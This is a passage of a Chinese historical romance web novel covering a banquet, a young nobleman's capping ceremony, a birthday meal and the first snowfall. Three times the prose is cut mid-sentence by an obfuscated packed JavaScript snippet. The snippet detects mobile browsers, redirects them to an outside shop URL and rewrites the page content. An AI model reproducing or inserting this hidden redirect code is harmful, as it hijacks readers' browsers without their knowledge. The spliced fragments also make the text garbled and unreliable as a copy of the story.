容珩定定地看着她,忽然伸出手,按住她的唇,往旁偏移,抚过嘴角,在她疑惑的目光中,微笑解释:“沾到果汁了。” 宋予静“哦”了一声,灵活地剥开一颗柿子,递到他的嘴边,“阿珩,你也尝尝。” 喂他吃完一颗柿子后,她也吃完了他剥给她的柿子,说:“我想再让人多去摘点柿子,做成柿饼。” 容珩自然应好,与她继续坐在院子里。 漫看云卷云舒,不知不觉中,时光悠悠而过。 虽然整整一天好像都没有做什么正事,但宋予静觉得过得很充裕。 与容珩一起走回公主府,她顺口说起后天的安排,忽然瞥见他似乎面带难色。 她停下脚步,挠挠他的手心,问:“你不得空?” “不全是。”容珩安抚摸摸她的手背,“倘若我不得空陪你,我会提前写信告诉你。” 理智告诉她,不仅是他,就连她偶尔也需要处理府里的事务,可一想到见不到他的情景,心里萦绕一股浓浓的不舍。 宋予静伸手抱住他,“至少明天还能见到你。” “又不是一直见不到。”容珩勾住她垂在脸边的碎发,挽至耳后,顺势捧着她的脸,“况且以前我们也不是天天见面。” “那不一样。”她从来没有体会过这般不舍的心情,明明知道暂时是想象,依旧不舍,“以前只是朋友,现在不一样,我不想离开你。” 听见她最后一句话,容珩一愣,尔后,眼中绽放出璀璨光华,低声道:“静静,我很开心。” 宋予静低低应了一声,靠在他温暖的怀里。 可再不舍,天色将晚,容珩还要回家。 她退后两步,仍抓住他的衣袖,笑道:“不要忧愁还没影的事啦,我明天巳时正去找你。” 容珩跟着笑起来,颔首应道:“好。” 51. 思念 “静儿……静儿?” 宋予静定了定心神,问:“娘,怎么了?” “想什么呢?一直在走神。”庆阳长公主多看了她几眼,“尚书府到了。” 她“哦”了一声,强打精神,扶着母亲的手臂,“我没事,只是今天起的太早了,有点困。” 下了马车,礼部尚书府门前人声鼎沸,热闹不已,都是前来赴宴贺寿的宾客。 走进府里,与父亲兄长在影壁前分开后,宋予静跟在母亲身侧,在侍女的引领下,一同走往后院。 刚走进待客的花厅,礼部尚书夫人便迎上来,屈起双膝将要行礼,被庆阳长公主托住手臂。 “李老夫人不必多礼。” 礼部尚书一向爱讲礼仪,恪守君臣之道,李老夫人的性子亦然,坚持行礼。 一番推脱后,李老夫人行了半礼,说:“殿下愿意赏光到舍下赴宴,实乃臣等的荣幸,还请上座。” 庆阳长公主微笑颔首,领先半步往前走,与李老夫人一同坐在上首。 宋予静坐在母亲的下方位置,礼貌地与旁边的命妇致意,随即暗暗挺直腰背,规规矩矩地坐着,细心倾听母亲与李老夫人的交谈。 聊的大多是些家常,不涉及朝政。 她听了一会儿,放松些许,端起手边的茶杯,轻抿几口,不发出丝毫声响地放下茶杯。 闲聊了约摸两刻钟,一名侍女快步走进来,躬身禀道:“夫人,花厅已经按照您的吩咐准备妥当。” 李老夫人点点头,笑道:“殿下,今日叫了个戏班子,在花厅那边搭了戏台,还请殿下赏光,一起去瞧瞧。” 庆阳长公主回道:“那便去看看,想必热闹得很。” 宋予静跟着起身,落后半步跟在母亲身侧,直视前方,拐过一处游廊,后面跟着的夫人姑娘少了些,忽然听见李老夫人的声音。 “一眨眼的工夫,县主出落得亭亭玉立,蕙质兰心,也不知日后花落何家。” 她微微一愣,略微转头,对上李老夫人和蔼的目光,像老人家随口问问小辈。 “她还小呢。”庆阳长公主笑意不减,“不着急,再多陪陪我。” “殿下心中有数便好,我这老婆子就不掺和了。” “您老说笑了。” 后面的夫人贵女跟了上来,李老夫人又不多说了,宋予静按下心中的疑惑,虚扶着母亲走进花厅。 花厅里烧着地龙,温暖如春,待众人落座后,侍女迅速奉上热茶糕点,垂首站在旁边。 “殿下,”李老夫人递过一本册子,“您先点出戏。” 庆阳长公主翻开戏册,看了一会儿,说:“先唱这出《蟠桃会》。” 尔后,她把戏册还给李老夫人,“您今日是主家,合该再点几出。” 李老夫人没再推脱,点了两出戏,让人把戏册递到其他夫人手里,又点了五六出。 宋予静捏起一块小巧的糕点,两口吃完,细细咀嚼,视线顺势落在戏台。 能被尚书府请来在寿宴上表演,台上的优伶个个才艺精湛,曲调动听,身姿优美,一举一动,皆是惟妙惟肖。 唱了两出戏,伴着奏乐声,气氛逐渐热闹起来,忽而台上唱到一段高潮,优伶摆出五福献寿的姿势,引得众人抚掌称赞。 她也跟着拍拍手,下意识转头,“阿……” 目光触及陌生姑娘的华丽衣裳,宋予静立即噤声,将要出口的话吞回腹中,在对方疑惑的目光中,保持礼节的笑容,摇头以示无事。 她暗自捻紧指尖,再看向戏台,戏已落幕。 一位约摸四旬的夫人走到李老夫人身边,耳语几句,得到李老夫人的点头应允后,朗声笑道:“各位不必拘束,舍下花园里栽种了早梅,各位若有兴致,不妨前去一观。” 宋予静认出对方是李老夫人的儿媳妇,悄悄去看花厅里的其他人,果然有几位年轻姑娘行礼告退。 她没心思出去闲逛,对上庆阳长公主询问的目光,朝母亲暗暗摇头。 侍女重新奉上茶水点心,宋予静随手捏起一块,明明模样味道都与之前的差不多,但一想起几日未见的容珩,嘴里的糕点瞬间不香了,就连刚才觉得有趣好玩的戏也没什么心思再看。 毕竟是寿宴,主人家大喜的日子,借着拿帕子擦脸的动作,她悄悄揉揉脸颊,努力控制表情,尽量带上笑容。 宴席一直持续到午间后,宾客方才渐渐散去。 宋予静跟在庆阳长公主的身边,看着母亲与李老夫人道别,再离开尚书府,一起走向家里的马车。 她隐约看见父亲和兄长的身影站在马车边上,走近后,脆声唤道:“阿爹,哥哥,你们等……” 话未说完,她看见一道熟悉的身影,长身玉立,清雅端方。 周围人多,赴宴的宾客各自离开,更遑论父母兄长都站在身边,她只敢飞快抬眸看容珩一眼,旋即半阖眼帘,安静地站在母亲身侧。 “今日也是来赴宴吗?”庆阳长公主笑问,“你一个人来的?” 容珩温声回答:“是,家父公务繁忙,特意命我来送贺礼。” 庆阳长公主略略点头,“你们方才在聊什么?” “在说丹青。”宋归鸿说,“早就听闻容世子一手丹青绝妙,若是有空,不妨到寒舍指点一番。” “宋兄谬赞了,能与你一同探讨,也是在下之幸。” 宋学士捋捋胡子,看向容珩的目光越发欣赏,“不必谦虚。” 宋予静悄悄觑了眼父兄的神情,与之前相比,他们对容珩似乎亲切满意了许多。 嗯? 在她不知道的情况下,容珩在父兄的面前做了什么? 时候不算早了,彼此寒暄一番后,宋予静扶着庆阳长公主坐进马车,踩上马杌,即将走进车里时,忽然飞快地打了个手势。 侍女放下车帘,她靠坐车壁,犹豫掀开车窗帘一角,望向外面。 容珩正在向宋学士和宋归鸿道别,对上她的目光,了然地朝她眨眨眼睛。 宋予静抿了抿唇,嘴角不受控制地上扬,放下帘子,重新坐好,想了想,问:“娘,之前李老夫人为什么忽然说那番话?” “想给你做媒。” “什么?!” “别紧张。”庆阳长公主笑笑,“李老夫人爱热闹,况且这个年纪的老人家总喜欢撮合小辈,多问几句而已,我已经帮你婉拒了。” 她暂时放心,掀开车帘往外看看,浅浅呼出一口气,露出无比乖巧的笑容。 “娘,时候还早,我想在外面玩一玩再回家。” 庆阳长公主吩咐侍女交给她一个钱袋子,说:“天黑前回家,注意安全。” 宋予静欢快地应了声,马车刚停下,也不等人搬来马杌,径直跳下去,提起裙摆往前跑。 到达往日里两人常见面的地方,她一眼看见站在槐树底下的容珩。 今日阳光灿烂,金色光芒透过光秃秃的枝丫,在他的绯色衣袍落下斑驳枝影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434627|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许是听见脚步声,容珩立刻转身,大步朝她走来,昳丽面容染上深深笑意,比璀璨阳光更加夺目。 宋予静扑进他的怀里。 双手环抱住他的腰,额头抵在他的胸膛,闻到熟悉得令她沉迷的清雅淡香,她不由蹭了蹭,抱住他的手又紧了两分。 “阿珩,我好想你。” “我也想你。”容珩一手搭在她的腰间,一手揽住她的肩膀,轻轻拍了拍,“静静,我很想你。” 她没有说话,只抱着他,侧耳倾听他规律跳动的心跳声,几日未能相见的思念之情渐渐得到慰藉。 宋予静松开手,退后两步,紧紧握住他的手,一起往前走。 “你今天怎么会去寿宴?我记得之前你说过不来赴宴。” “原本是如此。”容珩回答,“但父亲突然有紧急公务,便吩咐我亲自将寿礼送过来。” 她点头,不再多提及镇国公,转移话题:“你最近都在忙什么?怎么连半天的工夫都抽不出来见我。” 容珩握住她的手一紧,旋即停下脚步。 宋予静跟着止步,疑惑地看着他。 “我在准备下个月的……”他抿了抿唇,目光往旁边飘了飘,“冠礼。” “冠礼?”她重复一遍,“你不是明年才满二十岁吗?为何要在下个月举行冠礼?” 容珩轻咳两声,面上闪过一丝羞赧。 难得见到他这副含羞的模样,她更加好奇原因,晃动两人牵在一起的手,拉长声音:“你就告诉我嘛,好不好嘛……” 容珩重重地咳了两声,耳尖微红,注视她的双眼,“……因为及冠后,才能更好地议婚。” 宋予静一愣。 男子年满十五岁后便可行冠礼,但世间大多在二十岁及冠,少有提前,除非……要论及婚娶。 琢磨出容珩此举深意,热意瞬间涌上脸颊,她猛地低头,指尖无意识挠动。 挠了半天,她没感觉到痒意,举起手一看,后知后觉地发现一直挠的是他的掌心。 瞧见容珩低垂眼帘,睫毛轻颤,宋予静笑了起来,顶着满脸热意,故意问:“那容世子有没有中意议婚人选?” 容珩盯着她,声音坚定不移:“有。” “是吗?”她挑眉,“我怎么记得之前问的时候,容世子还说没有呢,居然这么快就找到了?不知道是哪家贵女呢?” “她姓宋,闺名予静,我喜欢唤她……”容珩忽然往前一步,紧紧抱住她,俯在耳边,“静静。” 温热的呼吸吹落在耳垂,仿佛被最柔嫩的绒羽拂过,热意蔓延至耳尖,宋予静悄悄揉了揉耳朵,任由他抱着,又听到他说:“我想邀请令尊和令兄。” 闻言,她倒是想起另一件事:“你在寿宴上跟父亲兄长聊了什么?” “与令尊相谈志书,与令兄探讨丹青。”容珩顿了顿,“应该没有惹他们不快吧?” “没有,我觉得父亲和兄长还挺欣赏你的。” 他长长呼出一口气:“那便好。” “你可以写请帖,至于他们会不会去观礼,我不能决定。” “嗯,我回去便写。” “忙就算了,但要注意劳逸结合,保重身体。”宋予静暗暗叹息,面上却扬起笑容,“接下来这段时间,你肯定很忙,我就不约你出门了。” 容珩不舍地应道:“冠礼后,我一定经常陪你。” “但今天你不许走了。”她说,“要陪我。” “好,陪你。” 52. 及冠 镇国公请钦天监帮忙占卜出了吉日,恰好在容珩的生辰前一日。 到了十一月初六这日,天公作美,虽偶有寒风刮过,但天朗气清,万里无云,一轮圆日悬挂空中,比前几日暖和不少。 镇国公府提前布置行冠礼的地方,洁净整齐,受邀前来观礼除了容氏宗族,还有勋贵世家公子等。 宋归鸿站在人群前方,看向跪在蒲团的容珩,微微弯腰低头,由正宾为其加冠。 镇国公坐在上首,神情肃穆,锐利双眸仿佛在看长子,又似乎有些走神,悠悠地望着不知名的地方。 宋归鸿收回视线,不着痕迹地打量正宾与赞者,都是品行端重的容氏族人,而不是最开始传闻的宗室之人。 三次加冠后,由镇国公为容珩赐字,随即容珩依次向在场宾客见礼。 冠礼顺利圆满地结束。 宋归鸿起身告辞,刚走出一段路,听到一名小厮恭声唤道:“烦请宋公子等等,世子有事寻你。” 不过须臾,容珩快步走过来,身上端正肃穆的礼服都还没脱。 “宋兄。”容珩已用发冠将长发全部束起,越发衬得他面如冠玉,清贵端方,“招待不周,还请见谅。” “容世子客气了。”宋归鸿笑了笑,“倒是家父因有事在身,不能前来,还望莫怪。” 容珩脸上的笑意越发真切:“宋兄言重了,改日我再去贵府拜访,之前与令尊谈及的山水图已经画好。” 宋归鸿没有察觉任何不对劲,朗声笑道:“好。” 亲自送宋归鸿出了府门,看见其他离开的宾客,容珩略减了两分笑意,客气周到地与他人道别。 待宾客全部离开后,容珩回到世子院,换下厚重的礼服,揉揉肩膀,舒缓几分酸痛。 一名中年管事自屋外走进来,躬身行礼:“老奴问世子贵安,国公说世子若休息好了,还请世子前往正院。” 容珩淡声回了句“好”,换上宽松常服,起身前往正院。 镇国公站在廊檐下,见他进来,直接说:“跟我去个地方。” 容珩应是,顺从地跟在镇国公的身后,走进气氛凝肃的家庙,迅速看了一眼上方供奉的牌位,垂首站在屋中间。 四下安静无声。 他没有多话,等了半晌,镇国公低哑的声音终于响起:“去给你母亲上炷香。” “是。” 容珩亲自点燃三炷香,持香朝着母亲的牌位,深深鞠躬,随即稳稳地插在牌位前的香炉里。 他往后退了两步,又深鞠一躬,“母亲,儿今日及冠了。” 凝望牌位片刻后,容珩转身,瞧见镇国公微红的眼角,低垂眼帘,道:“父亲,冠礼虽已结束,但还有些事情需要处理,儿先告退。” 镇国公盯着亡妻的牌位,略略点头。 容珩再一拱手,朝外走去,刚跨过门槛,忽然听见身后传来一句:“珩儿。” 他脚步一顿,闭了闭眼,踅转回到镇国公的面前,隔着四五尺的距离,恭声客气询问:“父亲还有何吩咐?” 镇国公的目光久久地停在他的身上,而他低垂眼帘,只看着地面。 “珩儿,为父……” 刚说了个开头,镇国公又顿住,沉默半晌,方才再次开口,之前声音里的低落神伤全然不见,恢复往日里的沉着严厉。 “无事,你去忙吧。” 容珩拱手一礼,快步离开家庙。 回到世子院,小厮奉上一封信件,禀道:“世子,这是宋姑娘刚刚派人送来的。” 容珩松开紧攥了一路的拳头,瞥见掌心被掐出的弯印,挥手让小厮退出去,小心拆开信封,取出里面的浣花笺。 在信里,宋予静先恭贺他及冠,又说明日是他的生辰,邀他到名下的布庄一聚,她要给他庆贺生辰。 这是三日前便约好的安排。 容珩抚过笺纸上洒脱的字迹,脑海里慢慢浮现她明媚俏丽的模样,笑容璀璨,缠在心口的那一股烦闷终于开始消散。 * “小妹呢?” “回公子,姑娘正在厨房里。” 宋归鸿挑眉,迈向瑞雪居正屋的脚步一转,走向厨房。 刚走到门口,他听见里面传来一阵哐哐啷啷的响声,紧接着传出厨娘带着泣音的哀求:“姑娘,您安心歇坐,让奴婢们来忙吧!” 宋归鸿拧眉,大步走进屋内,一眼便看见举着一根擀面杖的宋予静。 “静儿,你这是……准备去打架?” “咳……”宋予静连忙把擀面杖藏到身后,“哥,你别污蔑我,我一直都非常安分守己的。” “那你这副模样在这里做什么?”宋归鸿的视线在厨台上转了一圈,最后停在一坨白色糊状物,“这是什么东西?” 她抓紧手里的擀面杖,指尖还粘着半干不干的面粉,老实回答:“面条。” “啥?”宋归鸿瞬间瞪大眼睛,“你跟我说这是面条?半个手腕粗的面条?” 宋予静悻悻找补:“也没有谁规定面条一定要很细。” 但她又看了几眼糊成一团的面条,她足足花心思学了几天,今天更是在厨房里待了一整天,依旧没能擀出一整条延绵不断的面,只能放下擀面杖。 厨娘两步上前,抓起擀面杖,紧握在手里,“姑娘想吃什么面?奴婢现在便做。” “不用。” 宋予静摇摇头,洗干净手,拉住兄长往外走,回到正屋,端起茶杯,喝了半杯热茶,觑了眼坐在对面的兄长,指腹不停摩挲温热的杯壁。 “哥,你今天去镇国公府观看……”她控制声音平缓,“容世子的冠礼,看得怎么样?没出什么差错吧?” 除了父母,女子的笄礼上,受邀前来观礼的都是女子,故而男子的冠礼一般也只邀请男子。 “很顺利,没出一丁点儿的差错。”宋归鸿喝了口热茶,“而且圣上与太子殿下都吩咐内侍送了贺礼。” 宋予静瞬间松了口气,从碟子里捏起一块糕点,嚼了半块,又问:“哥哥,你打算什么时候举行冠礼?” “现在是十一月,快到年关了,”宋归鸿回答,“我想明年再办,也不急在这一时半刻,免得父亲和母亲劳累。” 她认真点头以示赞同。 听兄长说了会儿冠礼上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462866|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见闻,又商量了一阵冬至的安排,她送宋归鸿离开瑞雪居,站在原地想了想,转身走回里间。 从架子取下一个紫檀木的锦盒,宋予静打开,盯着里面看了半晌,小心合上盖子,想起在自己手里难以成型的面团,只得叫来冬雪。 “明天布庄关门,你安排厨娘提前去小厨房做准备,铺子里不要留其他不相干的人。” “是。” 仔细吩咐好明日的安排,她暂时放心一半。 * 翌日清晨。 宋予静早早醒来,收拾妥当,将锦盒紧紧抱在怀里,匆匆赶往布庄。 知道容珩一向喜欢提前到,她将约好见面的时辰定在了巳时正,所以,当她抵达布庄后院门口时,没有在院外看见容珩。 宋予静暗暗一松,领着冬雪快步走进后院的小厨房。 厨娘已经候着了,旁边的厨台上一溜地摆好了新鲜食材,一张白纱布盖住了面团。 “奴婢见过姑娘。” 她点点头,估算一下时辰,说:“你们先起火熬面汤,等我说了再擀面。” “是。” 来的太早,她在厨房里帮不了什么忙,说不定还会妨碍两人,干脆抱住一个暖手炉,站在廊檐下。 与昨天的晴朗截然相反,今日天空阴云密布,寒风阵阵,暖日连个影子都没有。 宋予静搓搓指尖,正准备进屋,听见一阵规律的敲门声,立即跑过去,打开院门。 容珩穿着黑色缎面披风,略一挑眉,笑道:“你怎么来的这么早?” “还说我,你不是也来的这么早?”宋予静连忙把怀里的暖手炉塞进他的手里,“快进屋,外面冷。” 一进屋里,她拉着容珩在火盆前烤了半天的火,摸到他的双手暖和起来,又去倒了杯热茶,端到他的面前。 “你先坐会儿。”她看了眼屋里的更漏,“我去拿些糕点。” 不等容珩问,宋予静快步走进小厨房,连声道:“可以擀面了,记住一定不能断,放一些菌菇、肉片,口味做得清淡些。” “是。” “冬雪,你留下来帮忙。”她往托盘上放了几碟糕点,“大概要多久?” 厨娘挽起袖子,掀开白纱布,露出揉好的面团,说:“还请姑娘等两刻钟。” “好。” 宋予静端着托盘走回屋内。 “先吃这个。”她在容珩面前放下一碟米团,“刚从蒸笼里端出来。” 容珩拿起一块,却递到她的嘴边。 她会意地张口一咬,右手习惯性拿起一颗米团喂给他。 转眼之间,碟子里的米团消失了大半。 宋予静拿帕子擦擦嘴角,问:“你昨天取了什么表字?” “嗯?昨日令兄也去观礼了,你没问吗?” 容珩握住她的手,取了张新帕子,仔细擦拭她的手指,将黏在指尖的碎屑擦得干干净净。 “没有,我特意没问。”她反握住他的手,“因为我想听你亲口告诉我。” 容珩笑了笑,略一用力,两人的手紧紧贴在一起。 他说:“佩之。” 53. 初雪 珩,佩上玉也。① 取字佩之,倒是与他的名相互呼应。 宋予静若有所思地点头,犹豫一阵,缓声问:“这个表字是令尊为你取的吗?” “是。” 容珩的声音听上去淡淡的,她摸摸他的手,轻声问:“你不喜欢?” “不是,我只是没有想到父亲会亲自替我取字。”他摇头轻笑,“还与我想的表字相差无几,或许是因为这个名是由母亲取的。” 按礼,表字本就应该由长辈来取。 想起容珩与镇国公之间的相处场景,宋予静有意探究这对父子以前究竟发生了什么,刚张开口,又将溜到舌尖的话咽回去。 今天是容珩的生辰,还是不要再提镇国公了,以免惹他伤神,往后还有机会。 她抓住他的手,揉掉他手心的冷意,笑问:“那我以后是叫你‘阿珩’,还是叫你‘佩之’好?” “都可以,随你喜欢。”容珩顿了顿,“但唤名更好些。” 她顺势唤道:“阿珩。” 他颔首笑道:“静静。” 闲坐片刻,宋予静看了眼更漏,暗暗估算时辰,替容珩续上茶水,说:“我出去一会儿,很快回来。” 她起身欲走,手却被人拉住,困惑回望,只见容珩也跟着站起来。 “我陪你去。” “不用!”她又看了眼更漏,反手按住他的手臂,将他按回圈椅里,“我自己去就好了,你安心坐着。” 说完,她快步往外,走向小厨房。 厨娘正端起一个白色瓷碗放到托盘里,在旁边放好一双筷子。 宋予静连忙走近,看了眼已经煮好的面,吩咐道:“你们都先回去,天黑前我会回家。” “是。”冬雪说,“姑娘,这里还有一些擀好的面条,灶台里的火没有熄,您午间若是饿了,又不想出门,放到锅里煮一刻钟便能吃了。” 在厨房里待了七八天,虽然没能学会擀面,但简单地煮个面还是看懂了。 “知道了。” 冬雪与厨娘收拾妥当,一同离开。 宋予静端起托盘,小心护着碗里的面,步伐稳而快,迅速走回屋内,将碗放到容珩的面前。 距离不远,她又走得很快,碗壁还烫,热气氤氲袅袅,四散飘荡,空气里弥漫一股清甜的香味。 面汤清澈,碗里的长寿面洁白弯绕,露出一根面头,摆在碗口边缘的褐色菌菇与青色菜叶上。 她递了一双筷子给容珩,笑盈盈道:“快吃。” 容珩握着筷子没动,盯着长寿面,又看着她:“……你做的?” “怎么可能?”宋予静诧异反问,“我刚刚不是一直和你待在一起,我又不会分身术,哪有工夫去煮面?” “是我想岔了。” 见他似乎有些失望,她挠挠脸颊,“其实我最开始的确想亲手做一碗长寿面给你,但是太难了,来不及学会。” 容珩拧眉:“受伤了吗?” “什么?” 他直接抓起她的手细看,洁白柔软,并没有任何伤痕,立时松了口气,认真嘱托:“不必在意我刚才的话,只是一时口误,我明白你的心意,往后不必亲自劳累。” “不累,而且也不危险。”宋予静笑笑,“你赶紧吃,等会儿坨成一团就不好吃了。” “嗯。” 长寿面讲究一口气吃完不能断,她干脆双手托腮,看着容珩仪态端雅,小口细咽。 待他全部吃完,她起身去翻里边的书案,找出藏起来的匣子,郑重地放在他的面前。 容珩按住紫檀木匣,“我可以打开吗?” “当然可以啦。”她顿了顿,补充道,“你如果不喜欢的话,直说就好,不必顾忌我。” 容珩打开匣盖,盯着匣子,久久不语。 宋予静揪紧衣袖口,往前稍倾身,的确是她亲手装进去的一枚羊脂白玉胚,尚未雕琢,莹白透亮,触感细腻,价逾千金。 没放错啊。 “你……”她抿了抿唇,“不喜欢?” 容珩抬头直视她,摇头,缓声问:“为何是玉?” “因为我真的不知道该送你什么了。”她老实回答,“你知道的,我的女红不好,荷包香囊绣不出手,其他的又怕你不喜欢……你不喜欢?” “我记得你的生辰在这个月二十七,”容珩答非所问,“你想要什么生辰贺礼?” 宋予静不假思索:“只要是你送的,我都喜欢。” “我心亦如此。”容珩站起来,落坐在她的身侧,“静静,无论你送什么贺礼,我都喜欢,哪怕没有礼物,只要你在我的身边,今日都是我过的最开心的生辰。” 她悬了半个多月的心终于安然落地,更生出几分甜蜜,忽觉他握住自己的手,十指相扣, 他的声音轻而柔:“静静,女红也好,厨艺也罢,世人看中的那些虚名,我都不在意,我喜欢的只是你而已。” 听到他如此直白剖明心意,宋予静心尖轻轻一颤,喜悦充满内心,嘴角上扬到一半,倏忽往下一拉,紧锁眉头。 “阿珩,你不开心吗?” 容珩瞬间否认:“没有。” 他这副模样实在有些奇怪,她坐直,盯着他,正色道:“我不会逼你说,但我想告诉你,无论遇到任何事情,我都会陪在你身边。” “嗯。” 容珩低低应了一声,抓住她的手,贴在脸颊,轻轻挨蹭。 手心被蹭得微微发痒,宋予静也没有抽开手,任由他握着,又听到他问:“你的生辰打算怎么过?” “不是整寿,应该和兄长的差不多。”她回答,“上午跟家里人吃顿家宴,下午随我安排。” “那你打算做什么?” 她转转眼睛,反问:“你想我做什么?” “……由我陪你,可好?”容珩轻声问,“至少剩下半天,就让我陪你。” “让我想想——”宋予静拉长声音,看到他神色一瞬间紧张起来,补完剩下的话,“当然要让你陪我啦!” 容珩眉间骤然一松,仍握住她的手,贴在脸颊。 半晌后,掌心慢慢生出一股暖意,她摸摸肚子,轻声轻语,生怕打扰到他。 “阿珩……你饿不饿?” 容珩疑惑一瞬,视线掠过她的腹部,应道:“是有些饿了,我们去外面食肆用午膳,如何?” 他刚刚才吃了一碗长寿面,肯定不饿。 宋予静也不想打破满室温馨,但万一等会儿饿得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493388|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚子咕咕作响,岂不是更加尴尬? 她搓搓指尖,找出理由安慰自己,先吃了两块桃酥垫垫,拉起容珩往外走。 甫一推开门,迎面刮来一阵寒风,裹挟冬日凛冽冷意。 “不急。”容珩替她披上斗篷,“天冷,小心冻到。” 宋予静乖乖应声,瞥见空中飘扬几粒雪白,顿时微睁双眼,连忙跑出去,立在廊檐下,抬头看向天空。 天色暗沉,阴云密布,寒风凛凛,洁白雪花纷纷扬扬,自天际飘洒,落在灰色屋顶,落在干枯树枝,落在世间万物。 举目四望,周围渐渐积起了一层薄薄的白雪。 她跑进院子中间,仰面朝天。 细小的雪花飘落在脸颊,转瞬被脸上的热意融化,冷意渗进肌肤里,冷得她浑身一抖。 宋予静闭着眼睛,抬手抹掉那点雪水,等了半晌,没有等到更多的雪花。 难道雪就停了吗? 她睁开双眼,入目的不是阴色天空,而是绣有暗纹的白色广袖,替她挡住漫天飞雪,视线一挪,容珩紧蹙眉心的模样近在眼前。 对上她的目光,他微启薄唇,又紧紧抿起,看了她几眼,语气温柔地劝道:“雪越下越大,我们进屋里,好不好?免得感染风寒,你如果实在想看雪,可以在廊檐下看。” 听出他话语里毫不掩饰的关心担忧,宋予静握住他的手,赶紧走回廊下,又望着飘扬的雪花,挠挠手心,忍不住伸手去接雪花。 她感受身侧骤然紧张炽热的目光,却没有听见他劝阻的话语,也知道轻重缓急,接了薄薄一层雪絮,连忙缩回手。 “你看,这是今年冬天的第一场雪。” 容珩尽力舒展眉头,笑着回应:“今年的初雪是比往年来的迟些。” “这样啊。” 许是见她太过好奇,容珩问:“我听说江南气候温暖,冬天虽不及京城寒冷,但也会下雪,莫非你在江南没有看过雪?” “那倒不至于,同样会下雪,不过初雪来得比京城晚,雪势也不如京城的猛烈。” 说着,宋予静见雪越下越大,惊问:“好大的雪,到时候是不是可以玩雪了?” 容珩轻声一叹,仍应道:“我陪你一起。” “下雪了啊,你为何这么冷静?” “每年的雪都差不多,我已经在京城看了很多遍。” 确实如此。 掌心暖和,不消片刻,雪絮慢慢化作一滩清水。 容珩立即从衣袖里抽出一张巾帕,擦干她掌心的雪水,又换了张新的干帕子,仔仔细细地擦过手心,连指缝都没有漏掉。 宋予静凝望他认真郑重的模样,指尖抚过雅致眉眼,在他疑惑的目光中,笑了起来。 “阿珩,我陪你看今年冬天的第一场雪,往后无论是春日第一朵花,夏日第一场雨,秋日第一片落叶,我都陪你一起看。” 手心忽然一重,他以从未有过的力度,紧紧握住她的手,箍得手心泛起一阵微痛。 旋即,他用力一拉,揽住她的腰,低头靠在她的颈边。 宋予静伸手环抱住他,拍拍他的后背。 耳边寒风呼啸而过,忽而温热的呼吸拂过,驱散刺骨冷意。 他说:“好。” 54. 躲藏 那天看雪看到最后,两人还是将就着在小厨房煮了面条。 初雪之后,天气越发的冷,几乎每日都会下雪。 宋予静很少见过如此盛大的雪,也不怕冷,总想着忙里偷闲到外面玩。 容珩顺着她的心意陪她,却只肯午间时分在外逗留半日,甚至还狠心隔两三日才应约见面。 他的心思不难猜,无外乎是担心她第一次京城过冬,受不得冻,在外待久了容易感染风寒。 加之冬至快到了,她要帮庆阳长公主准备冬至祭祖的事宜,自觉减少出门的次数,平日与容珩多以书信相通。 又是寻常的一日。 宋予静穿着斗篷走出瑞雪居,手缩在怀里,紧紧抱住暖手炉。 昨夜下了整整一夜的雪,目及之处,银装素裹,尽是皑皑白雪。 今日却是个大晴天,天空澄蓝如洗,浩瀚高远的苍穹挂着一轮圆圆的暖日,金色阳光撒在雪地,泛起刺眼的光。 她呼出一口气,渺渺白色水雾浮现,被阳光一照,随即散去,了无踪影,又搓搓暖和起来的指尖,继续往前走。 途中经过花园,宋予静看见六七名小厮正在扫雪,有两人还在打扫湖边的亭子。 她多了几眼,也没问,匆匆赶往正院。 “娘。” 宋予静唤了一声,解下斗篷交给侍女,熟练地拿起礼单,翻看冬至所需各样物件。 冬至皇帝要去圜丘祭天,礼成后要在奉天殿设宴,款待宗室勋贵百官。 她们一家大概要进宫,但家里同样要祭祖,况且是多年后回京祭祖的第一年,庆阳长公主与宋学士都颇为重视,足足提前一个多月开始准备。 幸而忙到今日,大部分事项都已安排妥当。 宋予静翻过一页礼单,仔细核对上面供品的数量、类别、摆放顺序等等,从头到尾细看两遍,确保无误后,交给庆阳长公主。 庆阳长公主简单迅速核对一遍,交给管事,吩咐道:“按礼单去准备,务必在冬至前准备齐全,不得有误。” “是。” 宋予静倒了杯七八分满的热茶,放到母亲面前,站在庆阳长公主的身后,轻缓地替她揉捏肩膀。 “娘,事情都安排吩咐下去了,接下来主要就是监察他们办好,您稍微可以歇歇了。” “嗯。”庆阳长公主阖上眼帘,“这几日你也辛苦了。” “不辛苦,我就是搭把手,比不得您操劳。” 揉了一会儿,庆阳长公主拍拍她的手,示意她停下。 